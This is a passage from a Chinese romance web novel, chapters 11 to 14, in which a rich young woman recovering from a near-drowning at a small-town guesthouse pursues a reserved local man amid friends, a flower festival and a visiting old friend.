四目相对,沉重的行李箱重重砸在地上,邱筱睢瞳孔收缩,拔腿就要跑,被两人堵住回房间的路,又硬生生退回来。
吴纯和旻浩拖着行李跟在后面,不明所以,“怎么了,筱睢?”
她回到民宿后就急着收拾东西,两人只觉得她受了惊吓,吴纯好声好气地安慰她,再怎么急也得等到危涞平安的消息,她不听,执拗要走。
“你跑什么。”腿上的伤口让她倒吸一口凉气,说话都费劲,危涞上前一步,邱筱睢后退一步。
“我问你,你跑什么?”危涞又一步上前,语气很平静,甚至能听出几分乖巧的味道。
倒是邱筱睢,被她如水一样的平静吓哭了,她用手蒙着脸,话不成句,“呜...呜呜...对不起...我不是故意的......”
鳄鱼的眼泪。
“怎么了?”吴纯见好朋友哭得难过,稀里糊涂。
危涞不说话,只是直直地盯着那泣不成声的女孩,眼泪像断了线的珍珠,她看烦了,就轻声问:“邱筱睢你推我下湖的时候想过我还能站在你面前吗。”
几人顿住身形,邱筱睢哭得更厉害,肩膀一抖一抖,连气都喘不上来。
“是不是有什么误会?”旻浩像明白了什么,他不敢直视危涞的眼睛,小声地为女友辩解。
邱筱睢拨开他的手,鼓足勇气朝危涞喊道:“你不是没事吗!谁要你这么贱勾引人家男朋友!”
“啪!”这一记耳光声音响亮,吴纯声音颤抖,不敢相信,“真的是你推危涞下河的?”
“我没推!”邱筱睢捂着被扇的脸,“我只是、我只是在她脚滑的时候没有及时抓住她而已......真的...真的...你相信我啊,小纯!”
她迫切的想找到一个人站在自己身边,惶恐不安,“小纯...我们是最好的朋友啊!”
吴纯失望极了,不想听她一句话,转头拎起自己行李箱的瞬间被一双激动的手抓住,“我求求你了...你别留我一个人...好不好?”
她盯了这张熟悉的脸片刻,最终轻轻拨开她的手,任她怎样哭喊都没有回头。
旻浩惴惴不安,他去抓住自己的那只箱子,又被一道来迟的高大身影挡住去路。
派出所里,邱筱睢交代了一切,旻浩扎帐篷露营时在湖边遇到危涞,她早就在旻浩的社交帐号发现了暧昧不清的短信,也知道他的心早就不在自己身上,却强硬地把他变心的原因推给危涞。
撞见旻浩像条狗一样凑在危涞面前,邱筱睢压制不住心里的怨恨,等到旻浩离开后上前与危涞发生争执,湖边地滑,她失手把她推入湖中,害怕出事,慌张逃跑。
最后还是危涞拼着一口气,才从生死边缘爬回来。
上天眷顾她,不远处居然有个供护林员休息的木屋。
危涞捡回来一条命。
小半个礼拜没见到程知聿,危涞再傻也明白他是故意躲她。
暗骂他玩不起,不就是亲了两下,真把自己看成黄花大姑娘了?
11. Chapter 11
林奶奶也好,他的亲戚也好,甚至店里上班的伙计、他那个姓纪的朋友都来了,唯独他清高,对个伤者避之千里。
她只是犯了个全世界女人都会犯的错好不好。
谁叫他要上山来找她。
指尖泛白,这几晚常常是被汹涌的潮水紧紧包裹,沉溺,望着光亮却抓不住,刺骨的湖水钻进耳腔、鼻腔,仿佛一团巨大的重物堵塞在喉间,胸腔中的残余空气也被压榨干净,越想抓住什么就越抓不住,惊醒后才发现连枕被都被汗水打湿。
深夜的月亮总是尤其的明亮,病房里安静得可怕。那抹月光洒在脸上,明明安宁平静,却无端让人陷入巨大的孤独之中。
抓住那片虚无的光亮,危涞记起,坠入湖中时她甚至自暴自弃地想过,不要反抗,不要挣扎,就这样沉下去。
也许沉下去就可以和母亲见面了。
啊,时间太长了。
她几乎记不得她的模样。
可是程知聿偏偏来找她了。危涞清楚得记得双目对上的瞬间,他的凌乱他的焦急,他找到了自己,于是重重地松了口气,眉眼中的欣喜一闪而过,就好像她是他特别重要的人一样。
危涞其实明白,她对程知聿来说不过只是客人,她在他的地盘出事,他会不好做。
仅此而已。
但那又怎么样,眼神触动的那一秒钟危涞心里就有了答案,她不甘心只是过客,至少,在她失去兴趣之前,她要让他永远记住他。
灯红酒绿。
纪成安大马金刀翘起一条腿,沾着泥水的鞋尖点呀点,耳朵上还夹着一只黑色中性笔。
他愁眉苦思,却被人毫不留情一掌下去,“换鞋!”
纪成安在溪江搜救队工作,这人也就上班的时候靠谱,其余时候一律没个正形。
写搜救报告是他最烦恼的事情,某次因为照抄人工智能被领导发现好一顿狠批,甚至把先前的报告都翻出来一个字一个字地查。
果然又翻出几篇辅助稿。
“嘶!”纪成安挨了向仲明一下,耳朵上的笔滚进沙发底下,连带着那张空白的A4纸也轻飘飘滑落。
“店大欺客啊?向老板。”他不满抬头,又去捡那只笔,空空画了个圈一个字也写不出。
向仲明是这家酒吧的老板,额前的碎发用发油梳在脑后,他是极其凌厉的长相,眉眼间还带着点古典味道,“下次出完任务再不换鞋进店,门口贴的就是你纪成安禁止入内。”
大晴天出完任务不来,非得等到下雨天踩着泥印子来,店里的阿姨和他抱怨过几次,眉飞色舞的样子好像恨不得替他把纪成安赶出去。
“哦哦哦……”纪成安敷衍答着,盯着吧台忙碌的酒保,压根没放在心上,反正他就算把纪成安赶出去了,他还能腆着脸皮,哦不,大摇大摆地进来。
翘着腿苦思,视线飘向沙发另一端的男人。
一身笔挺的正装,手里的笔甩过,又骂他装,来酒吧穿什么西装。
程知聿疲惫地捏着眉心,头顶绚烂的光落在脸上,惹得男人又皱紧了几分眉头,他的模样实在长得好,五官硬朗,眉眼间却能窥见几分柔情,他的长相应该是随了母亲,江南的杏花微雨。
就这坐下来的一会功夫,服务生来了几次,说的话纪成安倒着都能背出来,“这杯酒是隔壁桌的xx小姐请的,她想问程哥能不能加个联系方式?”
爱尔兰咖啡,打发过的鲜奶油轻盈细腻,微融化在威士忌和热咖啡里,情人的眼泪又或者说告白的利器,意乱情迷,一切皆有可能。
对过眼去是一张羞涩的脸,悄悄往程知聿这边望了一眼,又匆匆把自己藏在好友堆里。
“还是老样子吗?”服务生问。
“嗯。”
她们的账单记给程知聿。
那蒙面的姑娘在起哄声中娇羞地红了脸,服务生过去传话,气氛瞬间安静,那姑娘又悄悄红了眼。
向仲明调侃他,杀人不过头点地,温柔刀最伤人心啊。
纪成安只说一个字,“装。”
装得高雅,人模狗样。
这种时候都是纪成安抢着帮他回答,“不行啊,他是gay。”
纪成安最讨厌区别对待了,在向仲明的酒吧里干坐一晚上人,愣是没有长眼的问他要微信,自信心很受挫啊,他就闹着一段时间不来酒吧,发现根本没有人在乎,最后还是自己哄好自己。
大咧咧地来了。
他得来蹭向仲明的酒啊!
嬉皮笑脸,又得到一记凉飕飕的眼针。
后来回答多了,居然真有同志找上门,程知聿冷眼旁观,压着纪成安向人家解释,纪成安只能换个说法,“他阳痿啊,帅哥。”
对方又拐着弯地说:“我可以在上面。”
“......”两头黑线,还是程知聿逼着纪成安道歉。
向仲明在他的地盘也不管事,只是坐着看戏,有兴致的时候也会跟着说几句。
他们是很多年的朋友了,知根知底,闹也就随着对方去闹。
那只笔砸在程知聿的袖口边,惊扰了皱眉的那人,他捡起,捏在手里漫不经心地把玩,仿佛这只破笔是什么艺术品。
纪成安气得牙痒痒,他凭什么和个没事人一样!?
好处都让程知聿占了,就他还得苦逼兮兮地写报告?!
他最见不得的就是程知聿气定神闲的模样,他这种人心机最重了,表面风平浪静,说绝情就真的绝情,这么多天愣是没去见过人小姑娘一面。
负心汉的戏全给他演了。
背地里却还要当深情种。
啧啧啧,纪成安见了都起一身鸡皮疙瘩,人一日三餐的吃喝都被他包揽了,不知道耍什么把戏还不让那小姑娘知道。荤素搭配,营养均衡,穿着围裙在厨房里的煮夫模样纪成安能把前天晚上吃的饭给吐出来。
究竟是真纯还是装纯。
太恶心了,纪成安打了个哆嗦。
现在的姑娘真是没品,放着他这么个大好青年不管去喜欢这个闷骚男。
像是知道纪成安心里想的什么,那只笔又被人原封不动地还回来,敲在他额头上,力道可不小,“别乱想,我和她没关系。”
“我和她没关系~”纪成安学着他的语气,阴阳怪气。
“没关系还抱着人家亲,还给人家做饭,你要不要脸。”他手不安分,又拿着笔敲向仲明的肩膀,“他说和人家没关系,老向,你信不信?”
“别挨着我,傻气会传染。”向仲明嫌他满身灰尘,坐开些。
纪成安被嫌弃也不生气,嘴贱还要继续说,“你是没看到,冰天雪地,孤男寡女,干柴烈火,一触即发......”
“你玩什么成语接龙?”向仲明抿了一口古典杯里的酒,倚在软皮沙发上,衔着笑,长眸眯起。
“我信啊。嘴上没个把门的,你这副不靠谱的样子早晚被捅到队里去,
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到时候等着你的不是报告,而是写不完的报告。”
程知聿什么样子他们还不知道?能把人家姑娘抱着亲多半是鬼上身了。
纪成安这边还要说话,程知聿已经拎着外套起身,冷冽的风打在脸上,吹醒了几分清明。
“走了。”
他迎着风点燃了一支烟,飘渺在空中瞬间不见,程知聿并不常抽烟,能让他烦恼的事情已经很少,也清楚地明白。
危涞。
对他来说不是喜欢,只是一种近乎原始的欲望。
但欲望这种东西嘛,压着压着......
“......”就会反噬。
喉咙上下滚动,两人的视线在空中交汇,那双琥珀色的眼睛,就这么出现在他面前。
身体还没有完全恢复,她穿得很厚,手指露出的一节皮肤还被纱布包裹着。
皮肤是近乎透明的白,纯洁无瑕好像随时会消失。
危涞的短发在风中散开,化妆了吗?程知聿看不清楚。只觉得她的眸色鲜亮,像奶奶最爱护的那朵花,明明最纯白,又最打眼。
她盯着男人指中的那点猩红,莫名浅浅笑了下,带着狡黠,原来他也会抽烟。
直勾勾地盯着他,浅色的唇动了。
程知聿顿了下,默认自己没听清楚,“什么?”
她又笑,眼睛在夜里格外明亮。
“我说,做不做。”
他的手一抖,黯淡的灰落下,眉骨垂下阴影来,“你认真的?”
难道她的语气像在开玩笑吗?
“没开玩笑。”危涞挑眉,柔软的指腹擦过他指节的纹路,手中一勾,抢走了那只烟。
摁在灭烟槽里,程知聿低头看着她的动作,影子略过“吸烟有害健康”的标识。
“滋啦”一声。
危涞扬起脸,盈润可爱,两颊还有些婴儿肥,说出来的话却让人很为难,“也给我一根。”她伸出手讨要。
脸上偏偏还是乖巧的模样。
她果然很麻烦,程知聿垂眼盯她,“我戒烟了,刚刚是最后一根。”
不想给就不想给,还要编理由骗她。
“那……”做不做?
他还没给她回答呢!
程知聿眼神微凉,难得摆出大她几岁的架势,“我没这个想法,你没必要在我身上浪费时间。”
是没这个想法还是对她没这个想法。
空气凝住了,那人的脸一瞬间变得沉默,淡淡的,凉凉的,刚还是很可爱的样子。
“……”究竟是在哪学的变脸。
“你再说一遍?”危涞穷追不舍,盈盈的小脸上初现恼怒。
看来她没有设想过自己会失败,程知聿低低看她。
“我对你没兴趣。”
他高她一头,也就明白地说了。
“之前的举动可能让你误解了,是无意之举。”
他在说把她压在墙上将亲未亲那次。
“我们应该算扯平了。”
他还在说话,他居然还能说出更让她生气的话!
垃圾桶“哐啷”一声巨响,危涞还不解气,抬腿往路墩子上踹了几脚,又牵扯住伤口,疼得咬牙切齿。
她长这么大,还没有人这样不给面子。
“……”却依稀还能窥见可爱的底色,脸色气得绯红,程知聿转眸。
想到被他放在抽屉里的那瓶香水,应该没机会送出去了。
12. Chapter 12
“你不后悔?”她还要和他玩你问我答的游戏。
程知聿明白地拒绝,“没什么好后悔的。”
他即将满28岁,身边的同龄人大都成了家,不适合开启一段没有结果的床伴关系,对她的好感点到为止,就像旻浩那日说的,她是个漂亮的姑娘,有钱年轻,性格欢脱,没有人会不喜欢。
“行。”危涞气笑了。
不再看他让人愤怒的表情,反正他总能说出更多让她生气的话。
直到纤瘦的身影消失在道路尽头,程知聿摸摸口袋,深色的羊绒大衣温暖柔软。
纪成安双手插在裤兜里,踹了脚男人干净的裤腿,“还没走,在这发愣呢?”
“看月亮呢。”他的手里夹着最后一支烟,捏扁滤芯,最后丢进垃圾桶。
哪有月亮?纪成安抬头望天,一眼黑压压的云。
天气回暖,镇里办花街,林秀禾想着危涞身子弱,应该多凑凑热闹,便喊着她一起参加。
住院几天,林秀禾把她当作亲孙女一样对待,一有空就来医院陪她,危涞不好意思拒绝只能点点头答应。
和她一起的还有程萍家那个海胆头的小姑娘,她的头发长长了一些,不情不愿地跟在危涞身边,危涞盯着她长短不一的碎发,欲说出口的话被康贻警告的眼神堵在喉咙。
小小年纪,脾气还不小。
不说就不说,人生地不熟,她还真怕这小姑娘一生气把自己丢在外边。
危涞今天穿了条靛蓝色长裙,脖子上堆着条宽大的深绿色披巾,交叠处有一颗质感极好的棕木纽扣,整个人在太阳下闪着光。
好在今天温度高,不然能把她冻成傻子。
康贻走得很快,其实是不想挨着她走,她太显眼了,走到哪里都有目光追随,康贻捏捏自己的短发,望向前方花团锦簇的街景。
流水潺潺,过街的桥下停放着数只小小的船,浅紫、淡粉、五彩的花挤在船头船尾。
“喝不喝奶茶?”危涞跟着康贻的脚步慢慢走,看见路旁一家奶茶店,就停在门口。
“不喝。”这家店连招牌都没有,一定很难喝。
康贻垫脚踩在石阶上望,主街上已经很多人,活动马上开始了。
危涞想了想,“一杯无糖。”
她拎着俩杯奶茶出来,塞给康贻一杯,康贻对她突然的善意感到狐疑,“里面没毒吧?”
“有毒,专毒不听话的笨小孩。”她咬着吸管,只喝了一口就拎在手里再也不动口,确实不好喝,尤其她为了那点几乎不计的热量点的无糖。
裙角轻飘飘。
康贻捧着热奶茶,小跑几步,追上她走进人群中。
跟着她的步子踩在后面,脚下一晃差点撞上女人纤柔的背影,“你做什么!”康贻捂着额头,不满她突然停下来。前面的人越来越多,不快点连节目都看不到了。
危涞侧开身子,露出一个编辫子的小摊。
“这是专骗外地人的——”康贻不好意思当着摊主婆婆的面说,小心拉过危涞的手,“你不会要编吧?”
花辫外婆也会编,手艺比外面的小摊好多了,不要在外面浪费钱呀!
危涞在小摊前的矮凳下坐下,裙摆落在地上像一朵欲绽放的花,康贻捡起来抓在手心里,想走没办法,只能在危涞旁边蹲下,一脸愤愤,像只气呼呼的小狗。
不听她的,付钱的时候就知道后悔了!
看着她在身边蹲下,危涞唇边勾起一抹浅浅的笑,咋咋呼呼的,这不是有点乖吗。
“要几根呀,妹妹?”摊主问她。
满头的花辫子好像很土,嗯,两边各一根也很土。
“一根就好了。”
编辫婆婆的手穿过她细细软软的头发丝,一股叠一股,淡色的小花长在发隙间,零碎几朵,并不显突兀,阿婆的手很快,几下就结束,她今天穿的衣服太沉闷,有这几只亮色的花搭着倒是很好看。
危涞满意起身,康贻也跟着起来,又被一道力气摁下,稳稳坐在木板凳上,她一呆,阿婆的手已经动作起来。
不多会儿,她的头上也开出了许多花,星星零零,是属于十四五岁的天真烂漫。
越来越多的游客在编发阿婆小小的摊前驻足,有的甚至拿出手机拍。康贻慢慢红了脸,镜子在危涞手里,她看不到自己的样子。
很难看吗?怎么都在看她?
“还要多久?”举着手机的游客问辫花阿婆。
“很快就好。”阿婆手不乱,给康贻扎好最后一个皮筋,拍拍她的肩膀,“好了。”
康贻不好意思地站起来,躲着人们的视线,低头站在危涞旁边。
旁边的阿姨看向康贻满头的花,她把身前的小孙女往前推,“我们也要个这样的。”
人更多了。
蹭了康贻的光,辫花辫的阿婆没收她们的钱。
康贻不好意思,捧着手机坐看右看,最终发现挺好看的,嘀咕了几句,又装作不在乎很高冷的样子走在危涞前面。
脚步轻快,分明很喜欢嘛。
小屁孩,危涞咬着吸管。
街心中央搭了个高架台子,几个穿民族服装的女孩提着花篮站在台前,把花发给经过的人,危涞得到一枝紫色的长条花,风一吹,花瓣轻轻的飞。
康贻爬上路边人家的楼上,有一株垂柳一般的花伸过枝头落在围栏边,她伸手去抓,被风调皮地带走,只留下半片芳香。
她努努嘴巴。
危涞就倚在窗边看戏,耳边的发被她挽在耳后,白皙的皮肤,如珍珠一样泛着温润的光泽,她看得津津有味,搭起来的戏架子上出现个带重冠的神官,花团锦簇,小孩儿们兴奋极了,“花神娘娘来了!”
康贻也很激动,脸红扑扑的,仿佛她也是朵花。
两人正看得起劲,康贻像自言自语一样望着楼下,“小妮也来了啊……”
跟着她的视线,危涞看见一个坐轮椅的小女孩,裹得严严实实,一双眼睛尤其明亮,再一看,站在轮椅旁边的是个年轻男人。
她心跳两下,快步下楼。
“喂!”康贻在后面喊她。
英俊男人的目光一扫,在那道倩丽身影停住,黑眸沉沉。
裙摆跟着她的动作起伏很大,手里那只蓝楹花晒在阳光下,多鲜艳。
危涞挑眉,怎么?不想看见她呀。
她很得意。
程知聿便移开目光。
郑毅看见她,喜道:“危小姐。”
推轮椅的女人疑惑,“这是?”
郑毅告诉妻子危涞就是年三十的客人,她的妻子也露出感激的表情,“小妮,快叫姐姐。”
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“姐姐……”轮椅上的小女孩怯生生的,危涞揉揉她瘦弱的脸,怀里的奶茶被她随意一塞,把耳后的花夹在小妮的毛毡帽上,她微微脸红,柔软的花瓣划过女孩的侧脸,又悄声说:“谢谢。”
程知聿被人强塞进一杯冷透,几乎没动的奶茶,轻拧着眉,站在像柳絮一样的树下,长身玉立,恰似春色里的暖阳。
后追上来那人顶着满脑袋的花,眼睛还黏在花神娘娘鲜艳的裙摆上,看见程知聿,像老鼠遇见猫,缩缩脖子,“哥……”
程知聿盯着两人全身的花,只嘱咐康贻别乱跑,到时间要回家吃饭。
连个多余的眼神都没分给危涞。
切,小气鬼。
她都没和他计较呢。
“知道了。”康贻难得和危涞站在一条战线上,咕哝:和她妈一样,就只知道念叨。
康贻盯着表哥欲言又止,怪不得他一直没有女朋友,木头脑袋呀,姐姐都来找他了还一副冷冰冰的样子,这样能转正才怪呢。
活该只能当小三。
程知聿就算知道康贻心里想的什么也懒得搭理她,他低头揉揉小妮的脑袋,言语轻柔:“好好吃饭,明年春天就可以和大家一起玩了。”
态度之柔和让危涞大吃一惊,他从来没有用这样好的态度对过自己,知道不该和这么小的孩子置气,可他区别对待也太严重了吧,就不能对自己态度好点吗?
危涞朝着男人的鞋面上,不轻不重的一脚,留下一个浅浅的脚印。是小猫求关注时撒泼打滚的把戏,程知聿盯她一眼,长时间的,总觉得在笑,可嘴角的弧度却是平直。
小妮低头,躲去羡慕同龄人奔跑抓蝴蝶的眼神。
这样的话她已经听过很多遍了,可还是忍不住问:“真的吗?”
大大的眼睛。
因为药物作用,身子格外消瘦,头看起来就大,藏在爸爸妈妈准备的帽子围巾下面,受尽呵护,却像个一碰就碎的瓷娃娃。
郑毅夫妻红着眼眶不说话,谁都不敢轻易许诺她。希望落空的感觉他们经历过无数次,不想让女儿失望。
危涞盯着他们泛红的眼睛,五味杂陈,小妮的父母很爱她。
“有可能的。”她说,京市的医院有治疗案例,朗禄也成立过相关基金会,配合治疗小妮的情况会变好的。
小妮听了她的话,乖乖点头,看着高兴了些。
“妈妈!我今天中午要吃两碗饭!”
小妮妈妈擦了眼泪,心疼地望着女儿因药物作用过分瘦小的脸,“……好。”
危涞给郑毅留了联系方式,他含着泪鞠躬。
见他们推着小妮走进庙中祈福,危涞想去勾程知聿的小指,擦过温热的皮肤被人躲开,她退一步,勾住袖口的扣带,这次他没动了,“喂,你要请我吃饭吧。”
她可是帮了郑毅一个大忙。
她这么乖,不得有点奖励吗。
危涞爸爸是资本家,她自然继承了利益至上的精神,她出了力就得讨点好处呀。
眨着琥珀色的眼睛抬头,太阳光一晃,亮得不可思议,和小时候常常跑到家里讨食的猫没两样。
康贻见着气氛不对,赶忙找借口离开:“我、我回家吃饭了!”
程知聿抽出被她拉在手里的衣带,眸色温和,“吃什么。”
13. Chapter 13
危涞想了想,说要吃火锅。
程知聿带着她走进一家清水鱼火锅。
“……我要吃辣的。”她望着招牌沉默。
“那你还是回民宿吃,看奶奶会不会同意。”医生讲她受寒要忌口,今天太阳大,穿得少就算了,再带她吃辛辣的被发现,奶奶得在耳边念叨几小时。
“你真烦!”危涞瞪他一眼,还是走进去。
她在位置上坐好,右边耳上的花落下一朵,被捏在手里,淡色花的汁液几乎看不见,“可是我不吃鱼诶。”
危涞眨眨眼看向对面人。
他才合上菜单,眼里有一团化不开的墨,盯了危涞几秒,也不像生气的样子。
“刚刚进来的时候怎么不说?”
危涞狡黠一笑,笑眼弯弯如月。
她用湿巾擦干净指尖几不可见浅粉色,“其实也不是不吃啦,鱼刺,你知道吧,万一卡住了怎么办?”
人家这么脆弱......
“要我帮你挑?”对面那人听明白她的意思,抬眼,明明是极其平静的表情,却总是让人觉得藏着笑。
他修剪圆润的手指尖搭在桌边。
危涞瞄了几下,想入非非。
“其实你并不愿意也没关系,如果真的卡喉咙了——”
我会和奶奶说和你没关系的……
后半句话被她生生咽下,服务员端着几盘切得晶莹剔透的鱼片,带着笑对这位怕卡喉咙的小姐礼貌解释,“我们的鱼都是现杀现片的,没有鱼刺。”
“……”
危涞不说话了。
程知聿见她憋屈的样子,勾了唇,起身,“走吧。”
“去哪?”她扬起小脸,菜都上了。
“你不是不吃鱼,另找个地方吃饭。”是他疏忽,没问清楚人家有没有忌口,因为被鱼刺卡喉咙就不敢再吃鱼这样的事也常有。
这些菜他打包回去就是。
请人吃饭最重要的是合对方心意。
危涞噎住,她不过是故意作一下,他怎么还当真了?不挑鱼刺就不挑咯,上菜了还走,这不明摆着是她的错,成什么了?
“不走了,就在这吃。”她眉心皱起,不太高兴。
看出她在生气,程知聿好笑,“我没别的意思。”
有就有,没就没。
危涞扯过菜单加菜。
酸的、甜的、辣的,看起来更生气了。
程知聿叹气,又坐下。
吃得太撑,回去的路上危涞揉着肚子一句话不说,程知聿几次欲开口,话到嘴边又咽下去。
算了。
见他专心开车,连句话都不说,危涞气焰更甚,连下车关门时都用了劲。
墨绿的披巾消失在眼前。
“......”
还未迈进民宿大门,危涞被小云儿拦住路,她紧张地拉过危涞,“小涞姐,你要不先别进去?”
“怎么了?”
“就是...店里来了个看起来不好惹的美女......”她拉着她躲过了些,“她指明说要找你。”
小云儿害怕是邱筱睢的事情,有人要找她麻烦,提心吊胆。
危涞倒没放在心上,“我进去看看。”
对上那双嗔怒的眼睛,她刚踏进去的脚急急往后一步,“危涞!”
矮她半头的边子瑜气喊。
她的裙摆停了一下,落下又扬起。
拔腿就跑,撞上刚停完车回来的男人,危涞抓住他有力的手臂,赶忙往程知聿身后躲。
男人的后背宽厚,挡住危涞绰绰有余。
她侧身一藏,轻而易举地挡住边子瑜喷火的眼神,手指勾住男人的腰,却不安分,沿着缝线的走向,哪怕隔着几层布料也能感受到令人安心的气息。
边子瑜大喊,随手捡了根木枝砸过去:“你要死是不是!”
背后的那双手紧紧抓着他的衣服,琥珀色的瞳孔弱小无助,“怎么了?”程知聿下意识护住她。
知道她故意装娇,边子瑜翻了个白眼,小时候朝她丢石子的时候怎么不见柔弱?
“你装什么?别躲在别人后面装死,出来旅个游电话不接微信不回,和我玩失联是不是?”
靛青色的裙角出来一片,楚楚可怜,“你在说什么呀,人家怎么听不明白呢?”
语气软得能酥掉全身骨头。
气氛却冷得出奇。
“......”边子瑜闭眼扶额。
“......”程知聿沉默。
小云儿努力控制表情。
她装得太过头,以至于所有人都明白知道她的意图。
危涞抽抽唇角,干脆大方出来走两步,手还没忘记在人家腰上多摸几把,流连忘返。
“再摸就要收费了。”有点痒,程知聿提醒她。
啧。
危涞瞪他一眼。
和她说什么话呢,我说原谅你了吗?
撩了把头发,又一片花瓣飘落下,她悄无声息把衣袖下的伤口藏起来,“你怎么来了。”
看起来并不欢迎。
边子瑜不满,突然停下脚步,语气不可思议,“你不是因为男人吧?”
划过危涞刚刚的反应,拉过那人的手,熟练往人家背后藏,还哭唧唧求安慰,这种丢脸的事她到底在她不在的时候干过多少次!
为了男人连回她消息的时间都没有。
边子瑜仔细想,越发恼怒,觉得危涞真能做出这样见色忘义的事情。
她狐疑地看向同危涞一起进来的男人。
程知聿对上她的眼神,礼貌点头。
边子瑜厌恶地别开视线。
衣冠禽兽。
她最讨厌这样的人。
“你抽什么风?”她脑子有问题?因为这事不理她。危涞只说自己手机坏了,却没说因为什么。
裂得太严重,也修不好。
反正没人找她,她正巧躲躲清净。
骗谁?边子瑜才不信,默了一瞬,记起危涞和家里大吵一架,于是怜爱拍拍好友的头,“没事,姐姐养你。”
拿出哄男人的那一套对她,恶不恶心。
危涞撇开头,真是忍够了,把她当模子哥了?
“你什么时候走。”
“我才刚来你就喊我走?”
“你不知道自己是个巨大的电灯泡吗?”危涞瞥她一眼。
边子瑜正了神色,严肃道:“你认真的?你真对他有意思?你愿意一辈子留在这个穷地方?”
溪江和京市相比当然是穷地方。
程知聿这样的男人她见得多了,穿得人模狗样,内地里指不定有多少花花肠子,见着个有钱女孩就眼巴巴地凑上前去,图钱,图她周围的一切,就是不图她的心。
凤凰男。
和夜场里逢场作戏的男人又不一样,都是有所图,要什么撒个娇,大大方方的,让她开心了动动手指的事。
你装就没意思了。
都是千年的狐狸,边子瑜不信危涞看不清楚。
她最不愿意接触这种人,什么都要,还偏偏装作什么都不要,只要你,只爱你的样子。
最后发现,他最不想要的人其实只有你。
危涞被她逗笑了,知道唤起了边子瑜的伤心事,她翘着腿手撑脑袋远望着男人优越的眉眼,觉得边子瑜说的没错。
确实啊,这位先生最不想要的就是她。
“嗯...那你有没有想过他入赘跟我回京市呢。”她故作沉思。
边子瑜白她一眼,“我问你,他有没有兄弟姐妹?”
危涞摇头,除了康贻她没见过别人。
“那不就是了!还跟你回京市,当晚上做梦呢?”
好吧,好吧。
危涞不敢再想,害怕下一秒就有人要揪着耳朵骂人了。
边子瑜似乎是气急了,灌了几大口水下去,
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冷静下来,“你什么时候回京市?”
她小心翼翼地问。
危涞看她一眼,眼里的笑淡得看不见,有点冷。
感情是来这当说客的,“我回去做什么。”
“咔哒”一声,她点燃打火机,手里却没有烟,望着橙黄色的焰火顿觉无趣,轻快地随手丢进垃圾桶。
“哎呀!你别生气……”
危涞不理她,只对小云儿说:“她的房间离我远点。”
“你别听她的,我俩一个房间。”边子瑜在盘子里摸了颗糖,塞进嘴巴。
奶味很浓,“你要不要?”她又丢一颗给危涞。
没得到回应,摸摸鼻子跟在身后。
两人一前一后上楼。
边子瑜看她难受的状态,一眼就知道,她骂道:“活该。”
在国外有演出的时候为了形象好看,她早一个月就准备减肥,每天一顿,每顿一口,就算回国后不再需要克制,养成的习惯很难改,控制不住多吃一点都会难受。
“我去帮你买消食片,还好我来了,没有我你就等着难受死吧。”边子瑜嚷着。
走到门边听见敲门声。
“谁?”她打开门,看见个年龄不大的女孩。
康贻递过消食片,“你们叫的客房服务。”
她低着头,看不清楚脸,头发乱糟糟的。
“你的辫子呢?”危涞瞟见,她的小花统统不见。
康贻不说话,红着眼睛丢下东西,“哒哒哒”跑下楼。
“你叫的?”边子瑜捡起来,新的,没拆包装。
危涞难受得厉害,没好气。
拜托,她连手机都没有。
转眸,眼睛亮了一瞬,她心里有人选,唇弯了弯。
除了他还能有谁。
边子瑜大约猜到,露出无语的表情,死男人,阴魂不散。
“你等着,我去找他。”
危涞也不拦着,一副看热闹的样子,似乎还很期待,撑着脑袋,“快去快去。”
恨她这没出息的样子,边子瑜瞪她一眼,真的下了楼。
回来时帮她带回一只新手机。
还有一瓶全新的1957。
手机是给危涞的。
香水…边子瑜拿在手里,爱不释手。
“你猜谁送我的?”她佯装神秘,长睫眨呀眨。
不过是新勾搭上的哪个小帅哥。
危涞佩服她短短几个小时就能找到“真爱”,不过用边子瑜的话来说,她每一任男朋友都是真爱就是了。
她懒得掀眼皮,阖眼小憩。
听边子瑜接着说:“程老板真大方,只见过一次面就送这么贵的礼物,怪不得招人喜欢。”
危涞才抬眼望她,怒着,不悦,“你说谁送的?”
他送边子瑜香水送她健胃消食片?
胸腔起伏几下,气得发笑。
他没事吧?
有没有脑子!
桌上这版破了几个洞的消食片变得格外可恨,危涞恼怒把它甩在地上。
听见好友两声看戏的笑。
她明白了什么,转过头睨着边子瑜,眼睛更亮,“你骗我。”
被她发现了,边子瑜耸肩把香水还给危涞,“人家说了对你没兴趣。”
当然得说对她没兴趣,不然本性暴露,还怎么玩?
这回爱不释手的变成危涞,她从礼品袋里夹出一张卡片,捏在手里翻来覆去。
不过是封统一印刷的感谢信罢了。
边子瑜哂笑一声:“才多少钱的东西,乐成这样。你真当他纯良无害呢。”
要不是情场老手能送这么准确无误的礼物?
她仍然对程知聿没有好感,甚至觉得他的那番话是以退为进的手段。
再次提醒:“玩玩可以,你别当真了。”
危涞奇怪看她,当然只是玩玩而已,在她腻了之前,畅快地玩一玩。
14. Chapter 14
边子瑜拉着她说了很多,从高中后两人很少有一起睡的经历。
她有一搭没一搭地说。
“我记得你小时候想妈妈了,就哭个不停,抱住爷爷的脚吵着要来我家。”
“你爸不让,爷爷看你哭得气都不顺了,只能给我们家打电话。”
“你那个时候好小。”她用手比划了一下,“就这么高,天天哭脾气还大,只会耍赖皮黏着我妈不放,我气你霸占了我妈,也哭。你还越起劲,非得和我比谁的声音大。”
危涞无言,原来比谁的哭声大的传统从她小时候就开始了。
“后来不知道为什么喊你也不来了……”
她盯着天花板,偏过头躲掉那点酸涩。
她长大一点就不愿意去边子瑜家了。
没有任何矛盾。
她只是,
看着边子瑜对着父母撒娇,有点难受。她羡慕边子瑜幸福的家庭,也清醒地明白,缺少的东西不能从别人身上找补。
他们对她再好,也终究只是可怜而已。
边子瑜说话的声音越来越小,最后几乎听不见。
危涞帮她盖好被子。
掂起脚裹好外套走出去。
月光依旧明亮,她没有顾忌地爱任何人。
而她总在期盼,能得到谁独一无二的爱。
危涞倚在露台边,从口袋里翻,手一顿,找出一颗糖。
是边子瑜放进她口袋的。
撕开包装丢进嘴里,浓郁的奶香味慢慢扩散开,很甜,她一吸鼻子。
实在是太甜了。
隔壁的门一声细响,程知聿湿着头发,只穿着一件纯色短袖,肩宽腰窄,是很少见的休闲打扮,清爽的像大学校园里刚打完球的学长,他撞见门口的她,怔了下,最后也只是点点头。
他要下楼。
身影几乎消失在楼梯拐角。
危涞动了动唇,“我没带房卡。”
她喊住他,望着他的背影,捏着口袋里的硬纸片,乖顺的发别在耳后,像只刚被人顺了毛的狐狸仔。
程知聿的脚步向前,最后还是停在向下的台阶上。
回头看她,湿漉漉的眼睛,灯光下被照成暖色的肌肤,两人的视线交错,她的眼神悲伤又宁静。
